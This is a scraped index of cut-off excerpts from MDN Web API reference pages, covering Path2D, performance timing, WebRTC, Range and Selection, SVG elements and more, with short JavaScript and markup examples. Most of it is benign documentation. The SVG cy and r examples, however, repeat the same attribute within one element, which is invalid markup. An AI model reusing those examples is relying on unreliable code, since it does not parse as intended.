JavaScript also uses backspace escaping, special care must be taken when writing string literals using these characters. See Escaping special characters for more information. Return value The first Element that matches at least one of the specified selectors or null if no such element is found. Note: If the specified selectors include a CSS pseudo-element, the returned value is always null. Exception...
Path2D.addPath() - Web APIs
one Path2D object to another Path2D object. Syntax void path.addPath(path [, transform]); Parameters path A Path2D path to add. transform Optional A DOMMatrix to be used as the transformation matrix for the path that is added. (Technically a DOMMatrixInit object). Examples Adding a path to an existing path This example adds one path to another. HTML <canvas id="canvas"></canvas>
JavaScript First, we create two separate Path2D objects, each of which contains a rectangle made using the rect() method. We then create a matrix using document.createElementNS() and createSVGMatrix(). We then add the second path to the first using addPath(), also applying the matrix to move the second path to the right. Finally, we draw the first path (which now contains both rectangles) using fill(). co...
performance.now() - Web APIs
ounds the returned time to 1 millisecond increments. The precision of the returned value is subject to change if/when the security concerns are alleviated through other means. Syntax t = performance.now(); Example const t0 = performance.now(); doSomething(); const t1 = performance.now(); console.log(`Call to doSomething took ${t1 - t0} milliseconds.`); Unlike other timing data available to
JavaScript (for example Date.now), the timestamps returned by performance.now() are not limited to one-millisecond resolution. Instead, they represent times as floating-point numbers with up to microsecond precision. Also unlike Date.now(), the values returned by performance.now() always increase at a constant rate, independent of the system clock (which might be adjusted manually or skewed by software lik...
PerformanceServerTiming - Web APIs
onst headers = { 'Server-Timing': ` cache;desc="Cache Read";dur=23.2, db;dur=53, app;dur=47.2 `.replace(/\n/g, '') }; response.writeHead(200, headers); response.write(''); return setTimeout(_ => { response.end(); }, 1000) }; http.createServer(requestHandler).listen(3000).on('error', console.error); The PerformanceServerTiming entries are now observable from
JavaScript via the PerformanceResourceTiming.serverTiming property: let entries = performance.getEntriesByType('resource'); console.log(entries[0].serverTiming); // 0: PerformanceServerTiming {name: "cache", duration: 23.2, description: "Cache Read"} // 1: PerformanceServerTiming {name: "db", duration: 53, description: ""} // 2: PerformanceServerTiming {name: "app", duration: 47.2, description: ""} Speci...
PluginArray - Web APIs
Note: Own properties of PluginArray objects are no longer enumerable in the latest browser versions. Properties PluginArray.lengthRead only The number of plugins in the array. ...
Pointer Lock API - Web APIs
and are available even when unlocked for convenience. When the mouse is unlocked, the system cursor can exit and re-enter the browser window. If that happens, movementX and movementY could be set to zero. Simple example walkthrough We've written a simple pointer lock demo to show you how to use it to set up a simple control system (see source code). The demo looks like this: This demo uses
JavaScript to draw a ball on top of an <canvas> element. When you click the canvas, pointer lock is then used to remove the mouse pointer and allow you to move the ball directly using the mouse. Let's see how this works. We set initial x and y positions on the canvas: var x = 50; var y = 50; The pointer lock methods are currently prefixed, so next we'll fork them for the different browser implementations...
PopStateEvent - Web APIs
call to history.pushState() or was affected by a call to history.replaceState(), the popstate event's state property contains a copy of the history entry's state object. Note: Just calling history.pushState() or history.replaceState() won't trigger a popstate event. The popstate event is only triggered by doing a browser action such as a clicking on the back button (or calling history.back() in
JavaScript). And the event is only triggered when the user navigates between two history entries for the same document. Note: Browsers used to handle the popstate event differently on page load, but now they behave the same. Firefox never emitted a popstate event on page load. Chrome did until version 34, while Safari did until version 10.0. Syntax window.onpopstate = funcRef; funcRef is a handler...
PromiseRejectionEvent.promise - Web APIs
Examples This example listens for unhandled promises and, if the reason is an object with a code field containing the text "Module not ready", it sets up an idle callback that will retry the task that failed to execute correctly. event.preventDefault() is called to indicate that the promise has now been handled. ...
PromiseRejectionEvent.reason - Web APIs
This in theory provides information about why the promise was rejected. Syntax reason = PromiseRejectionEvent.reason Value A value or object which provides information you can use to understand why the promise was rejected. This could be anything from an error code to an object with text, links, and whatever else you might wish to include. ...
PushManager.registrations() - Web APIs
The registrations method is used to ask the system about existing push endpoint registrations. Syntax var request = navigator.push.registrations(); Return A DOMRequest object to handle the success or failure of the method call. If the method call is successful, the request's result will be an array of PushRegistration objects. PushRegistration Those objects are anonymous
JavaScript objects with the following properties: pushEndpoint A string representing the URL of the endpoint. version The current version that the push endpoint is at. Example var req = navigator.push.registrations(); req.onsuccess = function(e) { if (req.result.length > 0) { for (var i = 0, l = req.result.length; i < l; i++) { console.log("Existing registration", req.result[i].pushEndpoint, req.resul...
PushManager.unregister() - Web APIs
yntax var request = navigator.push.unregister(pushEndpoint); Properties pushEndpoint A pushEndpoint to be unregistered. Return A DOMRequest object to handle the success or failure of the method call. If the method call is successful, the request's result will be a PushRegistration object representing the endpoint that has been unregistered. PushRegistration Those objects are anonymous
JavaScript objects with the following properties: pushEndpoint A string representing the URL of the unregistered endpoint. version Undefined when unregister.onsuccess is called. Example var req = navigator.push.unregister(pushEndpoint); req.onsuccess = function(e) { var endpoint = req.result; debug("Unregistered endpoint: " + endpoint ); } req.onerror = function(e) { debug("Error unregister...
RTCDataChannel.binaryType - Web APIs
Values allowed by the WebSocket.binaryType property are also permitted here: "blob" if Blob objects are being used or "arraybuffer" if ArrayBuffer objects are being used. The default is "blob". When a binary message is received on the data channel, the resulting message event's MessageEvent.data property is an object of the type specified by the binaryType. ...
RTCDataChannel - Web APIs
n you, call the RTCPeerConnection's createDataChannel() method. The peer being invited to exchange data receives a datachannel event (which has type RTCDataChannelEvent) to let it know the data channel has been added to the connection. PropertiesAlso inherits properties from: EventTargetbinaryType The property binaryType on the RTCDataChannel interface is a DOMString which specifies the type of
JavaScript object which should be used to represent binary data received on the RTCDataChannel. Values allowed by the WebSocket.binaryType property are also permitted here: "blob" if Blob objects are being used or "arraybuffer" if ArrayBuffer objects are being used. The default is "blob".bufferedAmount Read only The read-only RTCDataChannel property bufferedAmount returns the number of bytes of data curre...
RTCIceCandidatePairStats.priority - Web APIs
lue indicating the priority of this pair of candidates as compared to other pairs on the same peer connection. The higher this value, the better the WebRTC layer thinks this pair of candidates is compared to the others, and the more likely a pair is to be selelcted for use. Note: This property was removed from the specification as its value cannot be guaranteed to be accurately represented in a
JavaScript number. You can calculcate its value using the algorithm described in RFC 5245, section 5.7.2 if you need this information and can accept the risk that the result may not be entirely accurate. Specifications Specification Status Comment Identifiers for WebRTC's Statistics APIThe definition of 'RTCIceCandidatePairStats.priority' in that specification. Candidate Re...
RTCIceTransport.getLocalCandidates() - Web APIs
candidates that have been gathered by the local device during the current ICE agent session. The local candidates are placed in this list by the ICE agent prior to being delivered to the local client's code in an icecandidate event so that the client can forward the candidates to the remote peer. Syntax localCandidates = RTCIceTransport.getLocalCandidates(); Parameters None. Return value A
JavaScript Array containing one RTCIceCandidate object for each candidate that has been identified so far during the ICE candidate gathering session. You can't correlate these local candidates with matching remote candidates. To find the best match found so far, call RTCIceTransport.getSelectedCandidatePair(). Example This simple example gets the local candidate list from the RTCIceTransport for the firs...
RTCPeerConnection.setLocalDescription() - Web APIs
you may see a callback-based version of this function used. This has been deprecated and its use is strongly discouraged, as it will be removed in the future. You should update any existing code to use the Promise-based version of setLocalDescription() instead. The parameters for the older form of setLocalDescription() are described below, to aid in updating existing code. successCallback A
JavaScript Function which accepts no input parameters to be be called once the description has been successfully set. At that time, the offer can be sent to a remote peer via the signaling server. errorCallback A function matching the signature RTCPeerConnectionErrorCallback which gets called if the description can't be set. It is passed a single DOMException object explaining why the request failed. ...
RTCPeerConnection.setRemoteDescription() - Web APIs
sed. This has been deprecated and its use is strongly discouraged. You should update any existing code to use the Promise-based version of setRemoteDescription() instead. The parameters for the older form of setRemoteDescription() are described below, to aid in updating existing code. pc.setRemoteDescription(sessionDescription, successCallback, errorCallback); Parameters successCallback A
JavaScript Function which accepts no input parameters to be be called once the description has been successfully set. At that time, the offer can be sent to a remote peer via the signaling server. errorCallback A function matching the signautre RTCPeerConnectionErrorCallback which gets called if the description can't be set. It is passed a single DOMException object explaining why the request failed. ...
RTCPeerConnection - Web APIs
ng state. This lets you detect, for example, when collection of ICE candidates has finished.localDescription Read only The read-only property RTCPeerConnection.localDescription returns an RTCSessionDescription describing the session for the local end of the connection. If it has not yet been set, this is null.peerIdentity Read only The read-only RTCPeerConnection property peerIdentity returns a
JavaScript Promise that resolves to an RTCIdentityAssertion which contains a DOMString identifying the remote peer.pendingLocalDescription Read only The read-only property RTCPeerConnection.pendingLocalDescription returns an RTCSessionDescription object describing a pending configuration change for the local end of the connection. This does not describe the connection as it currently stands, but as it may e...
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
ich contains the specified key -- and for which the key has the specified value. If no match is found (or the statistics report has no record corresponding to the statistics category indicated by key. function findReportEntry(report, key, value) { for (const stats of report.values()) { if (stats[key] === value) { return stats; } } return null; } Since the RTCStatsReport is a
JavaScript Map, we can iterate over the map's values() to examine each of the RTCStats-based statistics records in the report until we find one that has the key property with the specified value. When a match is found, the statistics object is returned. If no match is found, the function returns null. The main networkTestStop() function Now let's look at the networkTestStop() function itself. It takes as...
RTCRtpReceiver.getStats() - Web APIs
The RTCRtpReceiver method getStats() asynchronously requests an RTCStatsReport object which provides statistics about incoming traffic on the owning RTCPeerConnection, returning a Promise whose fulfillment handler will be called once the results are available. Syntax var promise = RTCRtpReceiver.getStats(); Return value A
JavaScript Promise which is fulfilled once the statistics are available. The promise's fulfillment handler receives as a parameter a RTCStatsReport object containing the collected statistics. The returned statistics include those from all streams which are coming in through the RTCRtpReceiver, as well as any of their dependencies. Example This simple example obtains the statistics for an RTCRtpReceiver and updates an element's innerText to display the number of packets los...
RTCRtpSender.getStats() - Web APIs
The RTCRtpSender method getStats() asynchronously requests an RTCStatsReport object which provides statistics about outgoing traffic on the RTCPeerConnection which owns the sender, returning a Promise which is fulfilled when the results are available. Syntax var promise = RTCRtpSender.getStats(); Return value A
JavaScript Promise which is fulfilled once the statistics are available. The promise's fulfillment handler receives as a parameter a RTCStatsReport object containing the collected statistics. The returned RTCStatsReport accumulates the statistics for all of the streams being sent using the RTCRtpSender, as well as the statistics for any dependencies those streams have. Example This simple example obtains the statistics for an RTCRtpSender and updates an element's innerText to display...
RadioNodeList.value - Web APIs
empty string is returned. On setting the value property, the first radio button input element whose value property is equal to the new value will be set to checked. Syntax value = radioNodeList.value; radioNodeList.value = string; Example HTML <form> <label><input type="radio" name="color" value="blue">Blue</label> <label><input type="radio" name="color" value="red">Red</label> </form>
JavaScript // Get the form const form = document.forms[0]; // Get the form's radio buttons const radios = form.elements['color']; // Choose the "red" option radios.value = 'red'; Result Specifications Specification Status Comments HTML Living StandardThe definition of 'RadioNodeList.value' in that specification. Living Standard Initial definition. ...
Range() - Web APIs
. Syntax range = new Range() Example In this example we create a new range with the Range() constructor, and set its beginning and end positions using the Range.setStartBefore() and Range.setEndAfter() methods. We then select the range using window.getSelection() and Selection.addRange(). ...
Range.commonAncestorContainer - Web APIs
</li> </ul> </li> <li>Woodwinds <ul> <li>Clarinet</li> <li>Oboe</li> </ul> </li> </ul> CSS The .highlight class created below uses a set of CSS @keyframes to animate a fading outline. ...
Range.getBoundingClientRect() - Web APIs
entRect() Example HTML <div id="highlight"></div> <p>This example positions a "highlight" rectangle behind the contents of a range. The range's content <b>starts here</b> and continues on until it <b>ends here</b>. ...
Range.selectNodeContents() - Web APIs
ment.createRange(), Range.selectNodeContents(), and Selection.addRange() are used to select the content. Window.getSelection() and Selection.removeAllRanges() are used to deselect it. ...
Range.surroundContents() - Web APIs
the Range splits a non-Text node with only one of its boundary points. That is, unlike the alternative above, if there are partially selected nodes, they will not be cloned and instead the operation will fail. Syntax range.surroundContents(newParent); Parameters newParent A Node with which to surround the contents. Example HTML <span class="header-text">Put this in a headline</span>
JavaScript const range = document.createRange(); const newParent = document.createElement('h1'); range.selectNode(document.querySelector('.header-text')); range.surroundContents(newParent); Result Specifications Specification Status Comment DOMThe definition of 'Range.surroundContents()' in that specification. Living Standard No change. Document Object Model (DO...
Range.toString() - Web APIs
The Range.toString() method is a stringifier returning the text of the Range. Alerting the contents of a Range makes an implicit toString() call, so comparing range and text through an alert dialog is ineffective. Syntax text = range.toString(); Example HTML <p>This example logs <b>everything</b> between the bold <b>words</b>. Look at the output below.</p> <p id="log"></p>
JavaScript const range = document.createRange(); range.setStartBefore(document.getElementsByTagName('b').item(0), 0); range.setEndAfter(document.getElementsByTagName('b').item(1), 0); document.getElementById('log').textContent = range.toString(); Result Specifications Specification Status Comment DOMThe definition of 'Range.toString()' in that specification. Living Standard No change. ...
Request.mode - Web APIs
e result is simply an error. You could use this to ensure that a request is always being made to your origin. no-cors -- Prevents the method from being anything other than HEAD, GET or POST, and the headers from being anything other than simple headers. If any ServiceWorkers intercept these requests, they may not add or override any headers except for those that are simple headers. In addition,
JavaScript may not access any properties of the resulting Response. This ensures that ServiceWorkers do not affect the semantics of the Web and prevents security and privacy issues arising from leaking data across domains. cors -- Allows cross-origin requests, for example to access various APIs offered by 3rd party vendors. These are expected to adhere to the CORS protocol. Only a limited set of headers a...
ResizeObserver - Web APIs
r to change the font-size of a header and paragraph as a slider's value is changed causing the containing <div> to change width. This shows that you can respond to changes in an element's size, even if they have nothing to do with the viewport. We also provide a checkbox to turn the observer off and on. If it is turned off, the text will not change in response to the <div>'s width changing. ...
Resize Observer API - Web APIs
for performance (continually calling the above methods would result in a big performance hit), and often won't work when the browser window size is not changed. The Resize Observer API provides a solution to exactly these kinds of problems, and more besides, allowing you to easily observe and respond to changes in the size of an element's content or border box in a performant way. It provides a
JavaScript solution to the often-discussed lack of element queries in the web platform. Usage is simple, and pretty much the same as other observers, such as Performance Observer or Intersection Observer -- you create a new ResizeObserver object using the ResizeObserver() constructor, then use ResizeObserver.observe() to make it look for changes to a specific element's size. A callback function set up insi...
cx - Web APIs
efines the x-coordinate of the circle's center. If unspecified, the effect is as if the value is set to 0. Syntax var xCoordinate = element.cx; Value An SVGAnimatedLength representing the x-coordinate of the circle's center. Example SVG <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" width="200" height="200"> <circle cx="50" cy="50" r="50" fill="gold" id="circle"/> </svg>
JavaScript const circle = document.getElementById('circle'); console.log(circle.cx); Specifications Specification Status Comment Scalable Vector Graphics (SVG) 2The definition of 'SVGCircleElement.cx' in that specification. Candidate Recommendation No change Scalable Vector Graphics (SVG) 1.1 (Second Edition)The definition of 'SVGCircleElement.cx' in that specifi...
cy - Web APIs
efines the y-coordinate of the circle's center. If unspecified, the effect is as if the value is set to 0. Syntax var yCoordinate = element.cy; Value An SVGAnimatedLength representing the y-coordinate of the circle's center. Example SVG <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" width="200" height="200"> <circle cy="50" cy="50" r="50" fill="gold" id="circle"/> </svg>
JavaScript const circle = document.getElementById('circle'); console.log(circle.cy); Specifications Specification Status Comment Scalable Vector Graphics (SVG) 2The definition of 'SVGCircleElement.cy' in that specification. Candidate Recommendation No change Scalable Vector Graphics (SVG) 1.1 (Second Edition)The definition of 'SVGCircleElement.cy' in that specifi...
r - Web APIs
te of a <circle> element and by that defines the radius of the circle. If unspecified, the effect is as if the value is set to 0. Syntax var radius = element.r; Value An SVGAnimatedLength representing the radius of the circle. Example SVG <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" width="200" height="200"> <circle r="50" r="50" r="50" fill="gold" id="circle"/> </svg>
JavaScript const circle = document.getElementById('circle'); console.log(circle.r); Specifications Specification Status Comment Scalable Vector Graphics (SVG) 2The definition of 'SVGCircleElement.r' in that specification. Candidate Recommendation No change Scalable Vector Graphics (SVG) 1.1 (Second Edition)The definition of 'SVGCircleElement.r' in that specificat...
SVGCircleElement - Web APIs
rty defines the radius of the <circle> element. It is denoted by the r of the element. Methods This interface has no methods but inherits methods from its parent, SVGGeometryElement. Example SVG content <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 250 250" width="250" height="250"> <circle cx="100" cy="100" r="50" fill="gold" id="circle" onclick="clickCircle();"/> </svg>
JavaScript content This function clickCircle() is called when the circle is clicked. It randomly increases or decreases the radius of the circle element. function clickCircle() { var circle = document.getElementById("circle"); // Randomly determine if the circle radius will increase or decrease var change = Math.random() > 0.5 ? 10 : -10; // Clamp the circle radius to a minimum of 10 and a maximum...
SVGEllipseElement - Web APIs
SVGAnimatedLength reflecting the ry attribute of the given <ellipse> element. Methods This interface doesn't implement any specific methods, but inherits methods from its parent interface, SVGGeometryElement. ...
SVGGraphicsElement: copy event - Web APIs
" height="320" xmlns="http://www.w3.org/2000/svg"> <text x="5" y="10" id="text-to-copy">Copy this text</text> <foreignObject x="5" y="20" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" placeholder="Paste it here"/> </foreignObject> </svg> CSS input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; }
JavaScript document.getElementsByTagName("text")[0].addEventListener("copy", evt => { evt.clipboardData.setData('text/plain', document.getSelection().toString().toUpperCase()); evt.preventDefault(); }); Result Specifications Specification Status Comment Scalable Vector Graphics (SVG) 2 Candidate Recommendation Definition that the clipboard events apply to SVG elements...
getBBox() - Web APIs
="5" y="16" transform="scale(2, 2)">Hello World!</text> <text x="8" y="32" transform="translate(0 20) scale(1.25 1)">Hello World Again!</text> </g> <!-- Shows BBox in green --> <rect id="rect_1" stroke="#00ff00" stroke-width="3" fill="none"> </rect> <!-- Shows BoundingClientRect in red --> <rect id="rect_2" stroke="#ff0000" stroke-width="3" fill="none"></rect> </svg>
JavaScript var rectBBox = document.querySelector('#rect_1'); var rectBoundingClientRect = document.querySelector('#rect_2'); var groupElement = document.querySelector('#group_text_1'); var bboxGroup = groupElement.getBBox(); rectBBox.setAttribute('x', bboxGroup.x); rectBBox.setAttribute('y', bboxGroup.y); rectBBox.setAttribute('width', bboxGroup.width); rectBBox.setAttribute('height', bboxGroup.height); ...
SVGGraphicsElement: paste event - Web APIs
mlns="http://www.w3.org/2000/svg"> <foreignObject x="5" y="-10" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" value="Copy this text"/> </foreignObject> <text x="5" y="30" id="element-to-paste-text" tabindex="1">Paste it here</text> </svg> CSS input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; }
JavaScript document.getElementById("element-to-paste-text").addEventListener("paste", evt => { evt.target.textContent = evt.clipboardData.getData("text/plain").toUpperCase(); evt.preventDefault(); }); Result Specifications Specification Status Comment Scalable Vector Graphics (SVG) 2 Candidate Recommendation Definition that the clipboard events apply to SVG elemen...
SVGLength - Web APIs
YPE_EMS = 3 SVG_LENGTHTYPE_EXS = 4 SVG_LENGTHTYPE_PX = 5 SVG_LENGTHTYPE_CM = 6 SVG_LENGTHTYPE_MM = 7 SVG_LENGTHTYPE_IN = 8 SVG_LENGTHTYPE_PT = 9 SVG_LENGTHTYPE_PC = 10 Normative document SVG 1.1 (2nd Edition) Example <svg height="200" onload="start();" version="1.1" width="200" xmlns="http://www.w3.org/2000/svg"> <script type="text/
javascript"><![CDATA[ function start() { var rect = document.getElementById("myRect"); var val = rect.x.baseVal; // read x in pixel and cm units console.log("value: " + val.value + ", valueInSpecifiedUnits: " + val.unitType + ": " + val.valueInSpecifiedUnits + ", valueAsString: " + val.valueAsString); // set x = 20pt and read it out in pixel and pt units val.newValueSp...
SVGRectElement - Web APIs
mple usage of rect interface. (Changing the color of the rect interface on every click) SVG content <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <rect width="300" height="100" id="myrect" onclick="doRectClick()" style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" /> <text x="60" y="40" fill="white" font-size="40" onclick="doRectClick();">Click Me</text> </svg>
JavaScript content function doRectClick(){ var myrect = document.getElementById('myrect'); var r = Math.floor(Math.random() * 255); var g = Math.floor(Math.random() * 255); var b = Math.floor(Math.random() * 255); myrect.style.fill = 'rgb(' + r + ', ' + g + ' , ' + b + ')'; } Click the rect. Specifications Specification Status Comment Scalable Vector Graphics (SVG) 2...
Screen.availHeight - Web APIs
lette which can contain multiple panels, and wants to position it so that it occupies the entire vertical space available, you can do so using code similar to what's seen here. In the main window, when it's time to open the panels, code like the following is used. let paletteWindow = window.open("panels.html", "Panels", "left=0, top=0, width=200"); The Panels window's HTML, in panels.html, has
JavaScript code of its own, which is executed as soon as the window is created. It doesn't even need to wait for any particular event (or any event at all). That code handles resizing the window based on the available space: window.outerHeight = window.screen.availHeight; The result is something similar to the below. Note the Panels window filling all available vertical space at the left of the screen. ...
Using the Screen Capture API - Web APIs
en given to share that content specifically. Authorizing capture of display contents Before streaming of captured screen contents can begin, the user agent will ask the user to confirm the sharing request, and to select the content to share. Examples Simple screen capture In this example, the contents of the captured screen area are simply streamed into a <video> element on the same page.
JavaScript There isn't all that much code needed in order to make this work, and if you're familiar with using getUserMedia() to capture video from a camera, you'll find getDisplayMedia() to be very familiar. Setup First, some constants are set up to reference the elements on the page to which we'll need access: the <video> into which the captured screen contents will be streamed, a box into which logged...
ScriptProcessorNode - Web APIs
Note: As of the August 29 2014 Web Audio API spec publication, this feature has been marked as deprecated, and was replaced by AudioWorklet (see AudioWorkletNode). The ScriptProcessorNode interface is an AudioNode audio-processing module that is linked to two buffers, one containing the input audio data, one containing the processed output audio data. An event, implementing the AudioProcessingEvent interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data. ...
Selection.addRange() - Web APIs
addRange(range); Parameters range A Range object that will be added to the Selection. Example Currently only Firefox supports multiple selection ranges, other browsers will not add new ranges to the selection if it already contains one. ...
Selection.containsNode() - Web APIs
d. console.log(window.getSelection().containsNode(document.body, true)); Find the hidden word In this example, a message appears when you select the secret word. It uses addEventListener() to check for selectionchange events. ...
Selection.deleteFromDocument() - Web APIs
None. Example This example lets you delete selected text by clicking a button. Upon clicking the button, the Window.getSelection() method gets the selected text, and the deleteFromDocument() method removes it. HTML <p>Try highlighting some of the text in this paragraph. Once you do, you can remove the selected content by clicking the button below.</p> <button>Delete selected text</button>
JavaScript let button = document.querySelector('button'); button.addEventListener('click', deleteSelection); function deleteSelection() { let selection = window.getSelection(); selection.deleteFromDocument(); } Result Specifications Specification Status Comment Selection APIThe definition of 'Selection.deleteFromDocument()' in that specification. Working Draft Curren...
Selection.rangeCount - Web APIs
selections across table cells. Firefox allows to select multiple ranges in the document by using Ctrl+click (unless the click within an element with display: table-cell). Syntax value = sel.rangeCount Example The following example will show the rangeCount every second. Select text in the browser to see it change. HTML <table> <tr><td>a.1<td>a.2 <tr><td>b.1<td>b.2 <tr><td>c.1<td>c.2
JavaScript window.setInterval(function () { console.log(window.getSelection().rangeCount); }, 1000); Result Open your console to see how many ranges are in the selection. In Gecko browsers, you can select multiple ranges across table cells by holding down Ctrl while dragging with the mouse. Specifications Specification Status Comment Selection APIThe definition of 'Selectio...
Selection.selectAllChildren() - Web APIs
selection is lost. Syntax sel.selectAllChildren(parentNode) Parameters parentNode All children of parentNode will be selected. parentNode itself is not part of the selection. Example HTML <main> <button>Select Footer</button> <p>Welcome to my website.</p> <p>I hope you enjoy your visit.</p> </main> <footer> <address>webmaster@example.com</address> <p>(C) 2019</p> </footer>
JavaScript const button = document.querySelector('button'); const footer = document.querySelector('footer'); button.addEventListener('click', (e) => { window.getSelection().selectAllChildren(footer); }); Result Specifications Specification Status Comment Selection APIThe definition of 'Selection.selectAllChildren()' in that specification. Working Draft Current definiti...
Selection.setBaseAndExtent() - Web APIs
pan>Plane</span></p> </div> <div> <p> <label for="aOffset">Anchor offset</label> <input id="aOffset" name="aOffset" type="number" value="0"> </p> <p> <label for="fOffset">Focus offset</label> <input id="fOffset" name="fOffset" type="number" value="0"> </p> <p><button>Capture selection</button></p> </div> <p><strong>Output</strong>: <span class="output"></span></p> The
JavaScript looks like so: var one = document.querySelector('.one'); var two = document.querySelector('.two'); var aOffset = document.getElementById('aOffset'); var fOffset = document.getElementById('fOffset'); var button = document.querySelector('button'); var output = document.querySelector('.output'); var selection; button.onclick = function() { try { selection = document.getSelection(); s...
Selection.toString() - Web APIs
The Selection.toString() method returns a string currently being represented by the selection object, i.e. the currently selected text. Syntax sel.toString() Return value A string representing the selection. Description This method returns the currently selected text. In
JavaScript, this method is called automatically when a function the selection object is passed to requires a string: alert(window.getSelection()) // What is called alert(window.getSelection().toString()) // What is actually being effectively called. Specifications Specification Status Comment Selection APIThe definition of 'Selection: toString()' in that specification. Working Draft Current Browser compatibility The compatibility table on this page is generated from s...
Server-sent events - Web APIs
Specification Specification Status Comment HTML Living StandardThe definition of 'Server-sent events' in that specification. Living Standard See also Tools EventSource polyfill for Node.js Remy Sharp's EventSource polyfill Yaffle's EventSource polyfill Rick Waldron's jquery plugin intercooler.js declarative SSE support Related Topics AJAX
JavaScript WebSockets Other resources A Twitter like application powered by server-sent events and its code on Github. HTML5 and Server-sent events Server-sent events using Asp.Net ...
ShadowRoot - Web APIs
was attached (see Element.attachShadow()). ShadowRoot.host Read only Returns a reference to the DOM element the ShadowRoot is attached to. ShadowRoot.innerHTML Sets or returns a reference to the DOM tree inside the ShadowRoot. ShadowRoot.mode Read only The mode of the ShadowRoot -- either open or closed. This defines whether or not the shadow root's internal features are accessible from
JavaScript. Properties included from DocumentOrShadowRoot The ShadowRoot interface includes the following properties defined on the DocumentOrShadowRoot mixin. Note that this is currently only implemented by Chrome; other browsers still implement them on the Document interface. DocumentOrShadowRoot.activeElement Read only Returns the Element within the shadow tree that has focus. DocumentOrShadowRo...
SharedWorker() - Web APIs
senting the scope of the worker, which is mainly useful for debugging purposes. Return value The created worker. Exceptions A SecurityError is raised if the document is not allowed to start workers, for example if the URL has an invalid syntax or if the same-origin policy is violated. A NetworkError is raised if the MIME type of the worker script is incorrect. It should always be text/
javascript. A SyntaxError is raised if aURL cannot be parsed. Examples The following code snippet shows creation of a SharedWorker object using the SharedWorker() constructor and subsequent usage of the object: var myWorker = new SharedWorker('worker.js'); myWorker.port.start(); first.onchange = function() { myWorker.port.postMessage([first.value,second.value]); console.log('Message posted to wor...
SharedWorker - Web APIs
whenever an ErrorEvent of type error bubbles through the worker. SharedWorker.port Read only Returns a MessagePort object used to communicate with and control the shared worker. Methods Inherits methods from its parent, EventTarget, and implements methods from AbstractWorker. Example In our Basic shared worker example (run shared worker), we have two HTML pages, each of which uses some
JavaScript to perform a simple calculation. The different scripts are using the same worker file to perform the calculation -- they can both access it, even if their pages are running inside different windows. The following code snippet shows creation of a SharedWorker object using the SharedWorker() constructor. Both scripts contain this: var myWorker = new SharedWorker('worker.js'); Both scripts then ...
Slottable: assignedSlot - Web APIs
is attached and then populated using the contents of a template that contains a slot named my-text. When <my-paragraph> is used in the document, the slot is populated by a slottable element by including it inside the element with a slot attribute with the value my-text. Here is one such example: <my-paragraph> <span slot="my-text">Let's have some different text!</span> </my-paragraph> In our
JavaScript file we get a reference to the <span> shown above, then log a reference to the original <slot> element the <span> was inserted in. let slottedSpan = document.querySelector('my-paragraph span') console.log(slottedSpan.assignedSlot); // logs '<slot name="my-text">' Specifications Specification Status Comment DOMThe definition of 'assignedSlot' in that specification. Li...
SpeechSynthesis.getVoices() - Web APIs
sis interface returns a list of SpeechSynthesisVoice objects representing all the available voices on the current device. Syntax speechSynthesisInstance.getVoices(); Parameters None. Return value A list (array) of SpeechSynthesisVoice objects. Note: The spec wrongly lists this method as returning as a SpeechSynthesisVoiceList object, but this was in fact removed from the spec. ...
StereoPannerNode.pan - Web APIs
; var panNode = audioCtx.createStereoPanner(); panNode.pan.value = -0.5; Returned value An a-rate AudioParam containing the panning to apply. Note: Though the AudioParam returned is read-only, the value it represents is not. Example In our StereoPannerNode example (see source code) HTML we have a simple <audio> element along with a slider <input> to increase and decrease pan value. In the
JavaScript we create a MediaElementAudioSourceNode and a StereoPannerNode, and connect the two together using the connect() method. We then use an oninput event handler to change the value of the StereoPannerNode.pan parameter and update the pan value display when the slider is moved. Moving the slider left and right while the music is playing pans the music across to the left and right speakers of the out...
StereoPannerNode - Web APIs
Inherits properties from its parent, AudioNode. StereoPannerNode.pan Read only Is an a-rate AudioParam representing the amount of panning to apply. Methods No specific method; inherits methods from its parent, AudioNode. Example In our StereoPannerNode example (see source code) HTML we have a simple <audio> element along with a slider <input> to increase and decrease pan value. In the
JavaScript we create a MediaElementAudioSourceNode and a StereoPannerNode, and connect the two together using the connect() method. We then use an oninput event handler to change the value of the StereoPannerNode.pan parameter and update the pan value display when the slider is moved. Moving the slider left and right while the music is playing pans the music across to the left and right speakers of the out...
StorageEstimate.quota - Web APIs
imate.quota; Value A numeric value specifying an approximation of the total amount of storage space available for use by the application. Example In this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user. HTML content <label> You're currently using about <output id="percent"> </output>% of your available storage. </label>
JavaScript content navigator.storage.estimate().then(function(estimate) { document.getElementById("percent").value = (estimate.usage / estimate.quota * 100).toFixed(2); }); Result Specifications Specification Status Comment StorageThe definition of 'quota' in that specification. Living Standard Initial definition ...
USVString - Web APIs
USVString is equivalent to DOMString except for not allowing unpaired surrogate codepoints. Unpaired surrogate codepoints present in USVString are converted by the browser to Unicode 'replacement character' U+FFFD, (?). ...
VTTCue - Web APIs
VTTCue.textAlign Returns an enum representing the alignment of all the lines of text within the cue box. VTTCue.text Returns a DOMString with the contents of the cue. Methods getCueAsHTML() Returns the cue text as a DocumentFragment. ...
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
The WebGLRenderingContext method enableVertexAttribArray(), part of the WebGL API, turns on the generic vertex attribute array at the specified index into the list of attribute arrays. You can disable the attribute array by calling disableVertexAttribArray(). In WebGL, values that apply to a specific vertex are stored in attributes. These are only available to the
JavaScript code and the vertex shader. Attributes are referenced by an index number into the list of attributes maintained by the GPU. Some vertex attribute indices may have predefined purposes, depending on the platform and/or the GPU. Others are assigned by the WebGL layer when you create the attributes. Either way, since attributes cannot be used unless enabled, and are disabled by default, you need to call enableVertexAttribArray...
WebGLRenderingContext.getUniformLocation() - Web APIs
